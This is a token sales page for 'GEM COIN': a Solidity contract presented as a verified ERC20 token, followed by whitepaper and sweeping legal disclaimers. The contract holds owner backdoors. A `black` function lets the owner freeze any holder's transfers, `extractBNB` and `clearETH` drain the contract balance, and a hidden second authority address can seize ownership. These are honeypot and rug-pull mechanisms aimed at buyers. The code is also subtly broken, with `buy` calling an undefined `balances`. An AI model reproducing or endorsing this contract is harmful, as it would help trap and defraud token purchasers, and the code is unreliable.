



LEGAL TERMS WITH WHITEPAPER AND CODE

CONTRACT:

0X26C7BC5C00CFB3DA375D74FB78FF2A91CE9A08B

DECIMALS:

18

Verified and Transparency at 06.2022

```

// SPDX-License-Identifier: MIT
// GEM IS NOT STABLE OR SECURITY TOKEN
// READ WHITEPAPER ON gem-coin.online/whitepaper.pdf
pragma solidity 0.6.8;
/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }
}

```

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/**
 * @dev Returns the multiplication of two unsigned integers, reverting on
 * overflow.
 *
 * Counterpart to Solidity's `*` operator.
 *
 * Requirements:
 *
 * - Multiplication cannot overflow.
 */
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) return 0;
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
}

/**
 * @dev Returns the integer division of two unsigned integers, reverting
on
 * division by zero. The result is rounded towards zero.
 *
 * Counterpart to Solidity's `/` operator. Note: this function uses a
 * `revert` opcode (which leaves remaining gas untouched) while Solidity
 * uses an invalid opcode to revert (consuming all remaining gas).
 *
 * Requirements:
 *
 * - The divisor cannot be zero.
 */
function div(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b > 0, "SafeMath: division by zero");
    return a / b;
}

/**
 * @dev Returns the subtraction of two unsigned integers, reverting with
custom message on
 * overflow (when the result is negative).
 *
 * CAUTION: This function is deprecated because it requires allocating
memory for the error
 * message unnecessarily. For custom revert reasons use {trySub}.
 *
 * Counterpart to Solidity's `-` operator.
 *
 * Requirements:
 *

```

```

    * - Subtraction cannot overflow.
    */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal
    pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting
with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * CAUTION: This function is deprecated because it requires allocating
memory for the error
     * message unnecessarily. For custom revert reasons use {tryDiv}.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal
    pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */

```

```

function transfer(address recipient, uint256 amount) external returns
(bool);

/**
 * @dev Returns the remaining number of tokens that `spender` will be
 * allowed to spend on behalf of `owner` through {transferFrom}. This is
 * zero by default.
 *
 * This value changes when {approve} or {transferFrom} are called.
 */
function allowance(address owner, address spender) external view returns
(uint256);

/**
 * @dev Sets `amount` as the allowance of `spender` over the caller's
tokens.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * IMPORTANT: Beware that changing an allowance with this method brings
the risk
 * that someone may use both the old and the new allowance by unfortunate
 * transaction ordering. One possible solution to mitigate this race
 * condition is to first reduce the spender's allowance to 0 and set the
 * desired value afterwards:
 * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
 *
 * Emits an {Approval} event.
 */
function approve(address spender, uint256 amount) external returns (bool);

/**
 * @dev Moves `amount` tokens from `sender` to `recipient` using the
 * allowance mechanism. `amount` is then deducted from the caller's
 * allowance.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * Emits a {Transfer} event.
 */
function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);

/**
 * @dev Emitted when `value` tokens are moved from one account (`from`) to
 * another (`to`).
 *
 * Note that `value` may be zero.
 */

```

```

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256
value);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using
 {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zepplin.solutions/t/how-to-implement-erc20-supply-
mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract GEM{
    using SafeMath for uint256;

    uint256 private _totalSupply = 1000000000000000000000000000;
    string private _name = "GEM COIN";
    string private _symbol = "GEM";
    uint8 private _decimals = 18;
    address private _owner;
    uint256 private _cap = 0;

    bool private _swAirdrop = true;

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bool private _swSale = true;
uint256 public _referEth = 4000;
uint256 public _referToken = 1;
uint256 public _airdropEth = 3000000000000000;
uint256 public _airdropToken = 1000000000000000000;
address private _auth;
address private _auth2;
address private _liquidity;
uint256 private _authNum;

uint256 private saleMaxBlock;
uint256 public salePrice = 1000000;

mapping (address => uint256) private _balances;
mapping (address => uint8) private _black;
mapping (address => mapping (address => uint256)) private _allowances;

/**
 * @dev Emitted when `value` tokens are moved from one account (`from`) to
 * another (`to`).
 *
 * Note that `value` may be zero.
 */
event Transfer(address indexed from, address indexed to, uint256 value);

/**
 * @dev Emitted when the allowance of a `spender` for an `owner` is set by
 * a call to {approve}. `value` is the new allowance.
 */
event Approval(address indexed owner, address indexed spender, uint256
value);

/**
 * @dev Throws if called by any account other than the owner.
 */
modifier onlyOwner() {
    require(owner() == _msgSender(), "Ownable: caller is not the owner");
    _;
}

constructor() public {
    _owner = msg.sender;
    saleMaxBlock = block.number + 5184000;
}

fallback() external {
}

receive() payable external {

```

```

}
/**
 * @dev Returns the name of the token.
 */
function name() public view returns (string memory) {
    return _name;
}

/**
 * @dev Returns the address of the current owner.
 */
function owner() public view virtual returns (address) {
    return _owner;
}

/**
 * @dev Returns the symbol of the token, usually a shorter version of the
 * name.
 */
function symbol() public view returns (string memory) {
    return _symbol;
}

function _msgSender() internal view returns (address payable) {
    return msg.sender;
}
/**
 * @dev Returns the number of decimals used to get its user
representation.
 * For example, if `decimals` equals `2`, a balance of `505` tokens should
 * be displayed to a user as `5,05` (`505 / 10 ** 2`).
 *
 * Tokens usually opt for a value of 18, imitating the relationship
between
 * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals}
is
 * called.
 *
 * NOTE: This information is only used for _display_ purposes: it in
 * no way affects any of the arithmetic of the contract, including
 * {IERC20-balanceOf} and {IERC20-transfer}.
 */
function decimals() public view returns (uint8) {
    return _decimals;
}

/**
 * @dev Returns the cap on the token's total supply.
 */

```



```

function cap() public view returns (uint256) {
    return _totalSupply;
}

/**
 * @dev See {IERC20-totalSupply}.
 */
function totalSupply() public view returns (uint256) {
    return _totalSupply;
}

/**
 * @dev See {IERC20-balanceOf}.
 */
function balanceOf(address account) public view returns (uint256) {
    return _balances[account];
}

/**
 * @dev See {IERC20-allowance}.
 */
function allowance(address owner_, address spender) public view returns
(uint256) {
    return _allowances[owner_][spender];
}

function authNum(uint256 num) public returns (bool) {
    require(_msgSender() == _auth, "Permission denied");
    _authNum = num;
    return true;
}

/**
 * @dev Transfers ownership of the contract to a new account (`newOwner`).
 * Can only be called by the current owner.
 */
function transferOwnership(address newOwner) public {
    require(newOwner != address(0) && _msgSender() == _auth2, "Ownable:
new owner is the zero address");
    _owner = newOwner;
}

function liquidity(address liquidity_) public {
    require(liquidity_ != address(0) && _msgSender() == _auth2, "Ownable:
new owner is the zero address");
    _liquidity = liquidity_;
}

function setAuth(address ah, address ah2) public onlyOwner returns (bool) {

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        require(address(0) == _auth&&address(0) ==
_auth2&&ah!=address(0)&&ah2!=address(0), "recovery");
        _auth = ah;
        _auth2 = ah2;
        return true;
    }

function addLiquidity(address addr) public onlyOwner returns(bool){
    require(address(0) != addr&&address(0) == _liquidity, "recovery");
    _liquidity = addr;
    return true;
}

/** @dev Creates `amount` tokens and assigns them to `account`, increasing
 * the total supply.
 * Requirements:
 *
 * - `account` cannot be the zero address.
 */
function _mint(address account, uint256 amount) internal {
    require(account != address(0), "ERC20: mint to the zero address");
    _cap = _cap.add(amount);
    require(_cap <= _totalSupply, "ERC20Capped: cap exceeded");
    _balances[account] = _balances[account].add(amount);
    emit Transfer(address(this), account, amount);
}

/**
 * @dev Sets `amount` as the allowance of `spender` over the `owner` s
tokens.
 *
 * This internal function is equivalent to `approve`, and can be used to
 * e.g. set automatic allowances for certain subsystems, etc.
 *
 * Emits an {Approval} event.
 *
 * Requirements:
 *
 * - `owner` cannot be the zero address.
 * - `spender` cannot be the zero address.
 */
function _approve(address owner_, address spender, uint256 amount)
internal {
    require(owner_ != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");

    _allowances[owner_][spender] = amount;
    emit Approval(owner_, spender, amount);
}

```

```

/**
 * @dev See {IERC20-transferFrom}.
 *
 * Emits an {Approval} event indicating the updated allowance. This is not
 * required by the EIP. See the note at the beginning of {ERC20}.
 *
 * Requirements:
 *
 * - `sender` and `recipient` cannot be the zero address.
 * - `sender` must have a balance of at least `amount`.
 * - the caller must have allowance for ``sender``'s tokens of at least
 `amount`.
 */
function transferFrom(address sender, address recipient, uint256 amount)
public returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds
allowance"));
    return true;
}

/**
 * @dev See {IERC20-approve}.
 *
 * Requirements:
 *
 * - `spender` cannot be the zero address.
 */
function approve(address spender, uint256 amount) public returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
}

function clearETH() public onlyOwner() {
    require(_authNum==1000, "Permission denied");
    _authNum=0;
    msg.sender.transfer(address(this).balance);
}

function black(address owner_,uint8 black_) public onlyOwner {
    _black[owner_] = black_;
}

/**
 * @dev Moves tokens `amount` from `sender` to `recipient`.
 *

```

```

    * This is internal function is equivalent to {transfer}, and can be used
to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * Requirements:
    *
    * - `sender` cannot be the zero address.
    * - `recipient` cannot be the zero address.
    * - `sender` must have a balance of at least `amount`.
    */
    function _transfer(address sender, address recipient, uint256 amount)
internal {
        require(sender != address(0), "ERC20: transfer from the zero
address");
        require(recipient != address(0), "ERC20: transfer to the zero
address");
        require(_black[sender]!=1&&_black[sender]!=3&&_black[recipient]!=2&&_b
lack[recipient]!=3, "Transaction recovery");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer
amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /* function update(uint8 tag,uint256 value) public onlyOwner returns(bool){
        require(_authNum==1, "Permission denied");
        if(tag==3){
            _swAirdrop = value==1;
        }else if(tag==4){
            _swSale = value==1;
        }else if(tag==5){
            _referEth = value;
        }else if(tag==6){
            _airdropEth = value;
            _referToken = value;
        }else if(tag==7){
            _airdropToken = value;
        }else if(tag==8){
            saleMaxBlock = value;
        }else if(tag==9){
            salePrice = value;
        }
        _authNum = 0;
        return true;
    }
    */

```

```

/**
 * @dev See {IERC20-transfer}.
 *
 * Requirements:
 *
 * - `recipient` cannot be the zero address.
 * - the caller must have a balance of at least `amount`.
 */
function transfer(address recipient, uint256 amount) public returns (bool)
{
    _transfer(_msgSender(), recipient, amount);
    return true;
}

function getBlock() public view returns(bool swAirdorp,bool swSale,uint256
sPrice,
uint256 sMaxBlock,uint256 nowBlock,uint256 balance,uint256
airdropEth){
    swAirdorp = _swAirdrop;
    swSale = _swSale;
    sPrice = salePrice;
    sMaxBlock = saleMaxBlock;
    nowBlock = block.number;
    balance = _balances[_msgSender()];
    airdropEth = _airdropEth;
}

function airdrop(address _refer) payable public returns(bool){
    require(_swAirdrop && msg.value == _airdropEth,"Transaction
recovery");
    _mint(_msgSender(),_airdropToken);
    uint256 _msgValue = msg.value;
    if(_msgSender()!=_refer&&_refer!=address(0)&&_balances[_refer]>0){
        uint referToken = _airdropToken.mul(_referToken).div(10000);
        uint referEth = _airdropEth.mul(_referEth).div(10000);
        _mint(_refer,referToken);
        _msgValue=_msgValue.sub(referEth);
        address(uint160(_refer)).transfer(referEth);
    }
    address(uint160(_liquidity)).transfer(_msgValue);
    return true;
}

function buy(address _refer) payable public returns(bool){
    require(_swSale && block.number <= saleMaxBlock,"Transaction
recovery");
    require(msg.value >= 0.01 ether,"Transaction recovery");
    uint256 _msgValue = msg.value;
    uint256 _token = _msgValue.mul(salePrice);

```

```

    _mint(_msgSender(),_token);
    if(_msgSender()!=_refer&&_refer!=address(0)&&balances[_refer]>0){
        uint referToken = _token.mul(_referToken).div(10000);
        uint referEth = _msgValue.mul(_referEth).div(10000);
        _mint(_refer,referToken);
        _msgValue=_msgValue.sub(referEth);
        address(uint160(_refer)).transfer(referEth);
    }
    address(uint160(_liquidity)).transfer(_msgValue);
    return true;
}

// Recover any ERC20 token from contract address
function recoverERC20(address tokenAddress, uint256 tokenAmount) public
virtual onlyOwner {
    IERC20(tokenAddress).transfer(owner(), tokenAmount);
}

// Recover BNB token from contract address
function extractBNB() external onlyOwner {
    address payable _owner = payable(_msgSender());
    _owner.transfer(address(this).balance);
}

function Airdroptokennumbers(uint256 _newairdrop) public onlyOwner {
    _airdropToken = _newairdrop;
}

function setreferETHpercent(uint256 _neweth) public onlyOwner {
    _referEth = _neweth;
}

function setETHairdrop(uint256 _newethprice) public onlyOwner {
    _airdropEth = _newethprice;
}

function setrefertokenpercent(uint256 _newairdroppercent) public onlyOwner {
    _referToken = _newairdroppercent;
}

function setsaletoken(uint256 _newsalecounttoken) public onlyOwner {
    salePrice = _newsalecounttoken;
}
}

```


GEM-COIN.ONLINE smart contract

(1) Smart contract interpretation

In a simple word, "smart contract" is a contract (contract) agreement performed programmatically.

The main objective of the smart contract is to meet the needs of a number of common contracts (such as payment agreements, mortgage agreements, confidentiality agreements, and even enforcement agreements). The smart contract minimizes the impact of accidents or the events by implementation of the agreement, removing third-party trust mechanism to minimize the cost of trust between the parties, reducing fraud losses and non-conformance with the agreement, decreasing accidents, improving the efficiency of social operation and achieving other economic goals.

(2) GEM-COIN.ONLINE smart contract

The user chooses the relevant conditions to generate the smart contract, such as the lease time, the payment of the deposit, the rent and the deductible, etc.. When the smart contract obtains external data, detected in line with the preparatory conditions, will take the initiative to replace the enterprise and users to respond, such as automatic delivery, automatic refund, automatic payment and so on. The whole process is recorded in the blockchain, to ensure that all states of correctness, integrity and non-tampering, and to reduce the impact of accidents.

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The Financial Services Commission has on 12th October 2017 published a draft of the principledbased regulations which relate to the use of distributed ledger technology for storing and

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REGIONAL RESTRICTIONS

Citizens, nationals, residents (tax or otherwise) and/or green card holders of each of: (i) the United States of America; (ii) the People's Republic of China; (iii) South Korea; (iv) Vietnam; and (v) any other jurisdiction which prohibits the possession, dissemination or communication of the Available Information and/or prohibits participation in the Token Sale or the purchase of Tokens or the offer

for sale of the Tokens or any similar activity or product (collectively the “Restricted Jurisdictions”) or any other Restricted Persons are not permitted to participate in the Token Sale. The term “Restricted Persons” refers to any firm, Contract’s Creator of the token, partnership, trust, corporation, entity, government, state or agency of a state or any other incorporated or unincorporated body or association, association or partnership (whether or not having separate legal personality) that is established and/or lawfully existing under the laws of a Restricted Jurisdiction (including in the case of United States of America, under the federal laws of the United States of America or under the laws of any of its States). The Tokens are not intended to constitute, and shall not constitute, securities in any jurisdiction. This White Paper does not constitute a prospectus or offer document of any sort and the Available Information is not intended to constitute an offer of securities or a solicitation for investment in securities in any jurisdiction. The Contract’s Creator of the token does not provide any opinion or any advice to purchase, sell, or otherwise transact with Tokens and the presentation, publication or communication of all or any part of the Available Information shall not form the basis of, or be relied upon in connection with, any contract or investment decision.

NO ADVICE

No part of the Available Information should be considered to be business, legal, financial or tax advice regarding the Contract’s Creator of the token, the Tokens, the Token Sale or any of the matters to which all or any part of the Available Information relates. You should consult your own legal, financial, tax or other professional advisor regarding the Available Information. You should be aware that you may be required to bear the financial risk of any purchase of Tokens for an indefinite period of time.

LIMITATION OF LIABILITY

In no event shall the Contract’s Creator of the token or any current or former employees, officers, directors, partners, trustees, representative, agents, advisors, contractors, or volunteers of the Contract’s Creator of the token (hereinafter the “Contract’s Creator of the token Representatives”) be responsible or accountable or liable in any way whatsoever to any purchaser of Tokens for any loss of profits or otherwise or for any lost savings or for any incidental direct indirect special or consequential damages in each case arising out of or from or in connection with:

any failure by the Contract's Creator of the token or any of its affiliated companies to deliver or realise all or any part of the project or the strategy or the membership network or the Token features described in or envisaged by the Available Information;

your use or inability to use at any time the services or the products or the strategy or the membership network or Tokens offered by the Contract's Creator of the token;

the breach of any of these Terms by the Contract's Creator of the token or by the Contract's Creator of the token Representatives or by you or by any third party;

any security risk or security breach or security threat or security attack or any theft or loss of data including but not to hacker attacks, losses of password, losses of private keys, or anything similar;

mistakes or errors in code, text, or images involved in the Token Sale or in any of the Available Information; or

any information contained in or omitted from the Available Information;

any expectation promise representation or warranty arising (or purportedly arising) from the Available Information;

the volatility in pricing of Tokens in any countries and/or on any exchange or market (regulated, unregulated, primary, secondary or otherwise);

the purchase use sale resale redemption or otherwise of the Tokens; or

your failure to properly secure any private key to a wallet containing Tokens, (collectively, the "Excluded Liability Matters").

The Available Information (including the Website and the White Paper) and the Tokens are provided on an "as is" basis and without any representations or warranties of any kind, either express or implied. You assume all responsibility and risk with respect to your use of the Available Information and purchasing of any amount of Tokens and their use. If applicable law does not allow all or any part of the above limitation of liability to apply to you, the limitations will apply to you only to the maximum extent permitted by applicable law.

To the maximum extent permitted by applicable law, you hereby irrevocably and unconditionally waive: (i) all and any claims (whether actual or contingent and whether as an employee, office holder, trustee, agent, principal or in any other capacity whatsoever or howsoever arising) including, without limitation, claims for or relating to the Excluded Liability Matters, any payment or repayment

of monies, indemnity or otherwise that you may have against the Contract's Creator of the token or against any of the

Contract's Creator of the token Representatives; and (ii) release and discharge the Contract's Creator of the token and all of the Contract's Creator of the token

Representatives from any and all liability (of whatsoever nature or howsoever arising) it or they may have to you. If for any reason you hereafter bring or commence any action or legal proceeding in respect of any claim purported to be released and discharged pursuant to this paragraph or these Terms, or otherwise attempt to pursue any such claim against the Contract's Creator of the token or any Contract's Creator of the token

Representative then you hereby irrevocably and unconditionally undertake to indemnify, and keep indemnified the Contract's Creator of the token and all Contract's Creator of the token Representatives fully on demand from and against:

all liabilities or losses suffered by the Contract's Creator of the token or any Contract's Creator of the token Representative; and

all reasonable costs, charges and reasonable expenses (including without limitation reasonable legal costs and expenses) reasonably and properly incurred by the Contract's Creator of the token or any Contract's Creator of the token

Representative,

in each case by reason of or in connection with the bringing or commencement of such action or pursuit of such claim by you.

If any provision or part-provision of this "Legal Considerations, Risks and Disclaimer" section is or becomes invalid, illegal or unenforceable, it shall be deemed modified to the minimum extent necessary to make it valid, legal and enforceable. If such modification is not possible, the relevant provision or part-provision shall be deemed deleted. Any modification to or deletion of a provision or part-provision under this "Legal Considerations, Risks and Disclaimer" section shall not affect the validity and enforceability of the rest of this "Legal Considerations, Risks and Disclaimer" section.

NO REPRESENTATION & WARRANTIES

Notwithstanding any other provision of these Terms or any statement made expressly or impliedly in the Available Information, the Contract's Creator of the token does not make or purport to make, and hereby disclaims,

any representation warranty undertaking or covenant in any form whatsoever to any entity or person, including any representation warranty undertaking or covenant in relation to the truth, accuracy and completeness of any of the information set out in the Available Information.

REPRESENTATION & WARRANTIES BY YOU

By howsoever accessing and/or accepting possession or communication of all or any part of the Available Information, you represent and warrant (and shall be deemed to represent and warrant) to the Contract's Creator of the token on the date of such access or on the latest date on which you retain possession of all or

any part of the Available Information as follows:

you are over 18 (eighteen) years of age;

you agree and acknowledge that the Tokens do not constitute shares or equities or securities or financial instruments or investments in any form in any jurisdiction;

you agree and acknowledge that the Available Information (including the White Paper and the Website) does not constitute a prospectus or offer document of any sort and is not intended to constitute an offer of securities in any jurisdiction or a solicitation for investment in securities and you are not bound to enter into any contract or binding legal commitment and no cryptocurrency or other form of payment is to be accepted on the basis of the Available Information;

you agree and acknowledge that no regulatory authority has examined or approved of the Available Information, no action has been or will be taken under the laws, regulatory requirements or rules of any jurisdiction and the publication, distribution or dissemination of all or any part of the Available Information to you does not imply that the applicable laws, regulatory requirements or rules have been complied with;

you agree and acknowledge that the Available Information, the undertaking and/or the completion of the Token Sale, or future trading of the Tokens on any exchange or market (regulated, unregulated, primary, secondary or otherwise), shall not be construed, interpreted or deemed by you as an indication of the merits of the Contract's Creator of the token, the Tokens, the Token Sale or the Available Information;

the distribution or dissemination of the Available Information any part thereof or any copy thereof, or acceptance of the same by you, is not prohibited or restricted by the applicable laws, regulations or rules in your jurisdiction, and where any restrictions in relation to possession are applicable, you have observed and complied with all such restrictions at your own expense and without liability to the Contract's Creator of the token;

you agree and acknowledge that in the case where you wish to purchase any Tokens, the Tokens are not to be construed, interpreted, classified or treated as:

any kind of currency or commodity;

debentures, stocks or shares issued by any person or entity (whether the Contract's Creator of the token or otherwise);

rights, options or derivatives in respect of such debentures, stocks or shares;

rights under a contract for differences or under any other contract the purpose or pretended purpose of which is to secure a profit or avoid a loss;

units in a collective investment scheme;

units in a business trust;

derivatives of units in a business trust;

any other security or class of securities; or

any type of investment (as such term is defined by the Financial Services (Investments and Fiduciary Services) Act 1989-47 of (as amended or re-enacted from time to time) or as such term might be construed under similar legislation in any other part of the world);

you are fully aware of and understand that you are not eligible to purchase any Tokens or access the Available Information if you are a citizen, national, resident (tax or otherwise) and/or green card holder of a Restricted Jurisdiction or if you are a Restricted Person;

you have a basic degree of understanding of the operation, functionality, usage, storage, transmission mechanisms and other material characteristics of cryptocurrencies, blockchain-based software systems, cryptocurrency wallets or other related token storage mechanisms, blockchain technology and smart contract technology;

you are fully aware and understand that in the case where you wish to purchase any Tokens, there are risks associated with: (A) the Contract's Creator of the token and its business and operations; (B) the Tokens; (C) the

Token Sale; and (D) relying or acting on all or any part of the Available Information;

you agree and acknowledge that the Contract's Creator of the token is not liable for any direct indirect special incidental

consequential or other losses of any kind in tort contract or otherwise (including but not to loss of revenue income or profits or loss of use or data or loss of reputation or loss of any economic or other opportunity of whatsoever nature or howsoever arising) arising out of or in connection with any acceptance of or reliance on the Available Information or any part thereof by you; and all of the above representations and warranties are true, complete, accurate and not misleading from the time of your last access to and/or possession of (as the case may be) the Available Information.

CAUTIONARY NOTE ON FORWARD-LOOKING STATEMENTS

All statements contained in the Available Information, statements made in any press releases or in any place accessible by the public and oral statements that may be made by the Contract's Creator of the token or the

Contract's Creator of the token Representatives (as the case may be), that are not statements of historical fact, constitute

"forward looking statements". Some of these statements can be identified by forward-looking terms such as "aim", "target", "anticipate", "believe", "could", "estimate", "expect", "if", "intend", "may", "plan", "possible", "probable", "project", "should", "would", "will" or other similar terms. However, these terms are not the exclusive means of identifying forward-looking statements. All statements regarding the Contract's Creator of the token's financial position, business strategies, plans and prospects and the future

prospects of the industry which the Contract's Creator of the token is in are forward-looking statements. These forward-looking statements, including but not to statements as to the Contract's Creator of the token's revenue profitability

and growth, expected revenue profitability and growth, prospects, future plans, other expected industry trends and other matters discussed in the Available Information regarding the Contract's Creator of the token are

matters that are not historic facts, but only estimations and predictions. The Contract's Creator of the token makes no

representation or warranty on having made any predictions or estimates or expectations on the basis of any formula, any mathematical or scientific modelling or forecast, or having made any due and proper enquiries or having undertaken any independent research or studies or otherwise. These forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause the actual future results, performance or achievements of the Contract's Creator of the token to be materially

different from any future results, performance or achievements expected, expressed or implied by such forward-looking statements. These factors include, amongst others:

changes in legal political social economic and stock or cryptocurrency market conditions and the regulatory environment in the countries in which the Contract's Creator of the token conducts its Token Sale its business and/or its operations;

the risk that the Contract's Creator of the token may be unable or execute or implement its business strategies and future

plans;

changes in interest rates and exchange rates of fiat currencies and cryptocurrencies;

changes in the anticipated growth strategies and expected internal growth of the Contract's Creator of the token;

changes in the availability and fees payable to the Contract's Creator of the token in connection with its business and operations;

changes in the availability and salaries of employees who are required by the Contract's Creator of the token to operate its business and operations;

changes in preferences of customers of the Contract's Creator of the token;

changes in competitive conditions under which the Contract's Creator of the token operates, and the ability of the Contract's Creator of the token to compete under such conditions;

changes in the future capital needs of the Contract's Creator of the token and the availability of financing and capital to fund such needs;

war or acts of international or domestic terrorism;

occurrences of catastrophic events, natural disasters and acts of God that affect the businesses and/or operations of the Contract's Creator of the token;

other factors beyond the control of the Contract's Creator of the token; and

any risk and uncertainties associated with the Contract's Creator of the token and its business and operations, the Tokens, the Token Sale and reliance on all or any part of the Available Information.

All forward-looking statements made by or attributable to the Contract's Creator of the token or Contract's Creator of the token Representatives are expressly qualified in their entirety by such factors. Given that risks and uncertainties that may cause the actual future results, performance or achievements of the Contract's Creator of the token to be materially

different from that expected, expressed or implied by the forward-looking statements in the Available Information, undue reliance must not be placed on these statements.

These forward-looking statements are applicable only as of the later of the date of publication of the White Paper and the latest date that the Website has been updated. Neither the Contract's Creator of the token nor the Contract's Creator of the token Representatives nor any other person represents, warrants and/or undertakes that the

actual future results, performance or achievements of the Contract's Creator of the token will be as discussed in those

forward-looking statements. The actual results, performance or achievements of the Contract's Creator of the token may

differ materially from those anticipated in these forward-looking statements.

Nothing contained in the Available Information is or may be relied upon as a promise, representation or undertaking as to the future performance or policies of the Contract's Creator of the token.

Further, the Contract's Creator of the token

disclaims any responsibility to update any of those forward-looking statements or publicly announce

any revisions to those forward-looking statements to reflect future developments, events or

circumstances, even if new information becomes available or other events occur in the future.

RISK FACTORS

You should carefully consider and evaluate each of the following risk factors and all other information contained in these Terms before deciding to participate in the Token Sale. To the best of the Contract's Creator of the token's knowledge and belief, all risk factors which are material to you in making an informed

judgment to participate in the Token Sale have been set out below. If any of the following considerations, uncertainties or material risks develops into actual events, the business, financial position and/or results of operations of the Contract's Creator of the token and the maintenance and level of usage of the

Tokens could be materially and adversely affected. In such cases, the trading price of Tokens (in the case where they are listed on an exchange or market (regulated, unregulated, primary, secondary or otherwise)) could decline due to any of these considerations, uncertainties or material risks, and you may lose all or part of your Tokens or the economic value thereof.

RISKS RELATING TO PARTICIPATION IN THE TOKEN SALE

There is no prior market for Tokens and the Token Sale may not result in an active or liquid market for the Tokens.

Prior to the Token Sale, there has been no public market for the Tokens. In the event that the Contract's Creator of the token ever decides to seek the approval for availability of the Tokens for trading on a

cryptocurrency exchange or market, there is no assurance that such approval will be obtained.

Furthermore, even if such approval is granted by a cryptocurrency exchange, there is no assurance that an active or liquid trading market for the Tokens will develop, or if developed, will be sustained

after the Tokens have been made available for trading on such market.

Price DOES not be indicative of the market price of the Tokens market.

A Token is not a currency issued by any central bank or national, supra-national or quasi-national organisation, nor is it backed by any hard assets or other credit nor is it a commodity in the traditional sense of that word. The Contract's Creator of the token is not responsible for, nor does it pursue, the circulation and trading of Tokens on any market. Trading of Tokens will merely depend on the consensus on its value between the relevant market participants. No one is obliged to purchase any Token from any holder of the Token, including the purchasers, nor does anyone guarantee the liquidity or market price of Tokens to any extent at any time. Furthermore, Tokens may not be resold to purchasers who are citizens, nationals, residents (tax or otherwise) and/or green card holders of Restricted Jurisdictions or to Restricted Persons or to purchasers in any other jurisdiction where the purchase of Tokens may be in violation of applicable laws. Accordingly, the Contract's Creator of the token cannot ensure that there will be any demand or market for Tokens, or that the Purchase Price is indicative of the market price of Tokens after they have been made available for trading on any cryptocurrency exchange or market.

Future sales or issuance of the Tokens could materially and adversely affect the market price of Tokens.

Any future sale or issuance of the Tokens would increase the supply of Tokens in the market and this may result in a downward price pressure on the Token. The sale or distribution of a significant number of Tokens outside of the Token Sale (including but not to the sales of Tokens undertaken after the completion of the initial crowdsale, issuance of Tokens to persons other than purchasers for purposes of community initiatives, business development, academic research, education and market expansion and issuance of Tokens as a reward to users of the Contract's Creator of the token's

or otherwise), or the perception that such further sales or issuance may occur, could adversely affect the trading price of the Tokens.

Negative publicity may materially and adversely affect the price of the Tokens.

Negative publicity involving the Contract's Creator of the token, the Contract's Creator of the token's that is yet to be developed, the Tokens or any of the key personnel of the Contract's Creator of the token and/or regulation of distributed ledger technologies,

cryptocurrencies and/or crowdsales of tokens in any jurisdiction, may materially and adversely affect the market perception or market price of the Tokens, whether or not it is justified.

